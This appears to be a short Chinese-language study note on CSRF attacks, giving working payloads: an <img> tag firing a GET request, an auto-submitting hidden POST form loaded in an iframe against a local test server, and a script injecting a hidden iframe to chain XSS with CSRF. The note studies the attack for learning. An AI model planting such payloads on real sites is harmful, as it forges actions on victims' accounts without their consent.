CSRF攻击学习

概述

一图胜千言
图片

攻击方式

  1. GET方式

假如现在有一个链接: https://csrf.com/m?addUser=id12345 那么我们就可以构造一个图片

1
<img src='https://csrf.com/m?addUser=id12345'>

只要你访问我的网站,那么就会触发这个链接,从而关注了我

  1. POST方式

POST的请求经常伴随着跳转,一跳转,就会暴露,这个时候我们就要考虑加一个iframe。
但是在csrf测试的页面加iframe,根据同源政策,显示不来内容。于是我们新建另一个页面,加上iframe,连接到csrf的测试页面。如下:
新建一个iframe

1
2
3
4
5
6
<html>
<head></head>
<body>
<iframe style="display:block" src='test.html'></iframe>
</body>
</html>

在建一个test.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<title>CSRF GET</title>
<body>
<form name="form1" action="http://127.0.0.1:5000/csrf" method="post">
<input type='hidden' name='username' value="csrf_ee1">
<input type="hidden" name="password" value="qwe1231"/>
<input type="submit" value>
</form>
<script>
document.forms.form1.submit();
</script>
</body>
</html>

这样一来,成功复现了csrf

什么叫做XSRF?

XSRF指的是xss+csrf的攻击,指的是一个网站既有xss又有csrf。 这样一来就可以进行两者的结合,通过xss注入csrf的html代码。

通过js生成代码

1
2
3
4
5
6
<script>
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src='test.html';
document.body.appendChild(iframe);
</script>

总结

csrf总的来说,主要聚焦于写,并不会窃取用户的数据。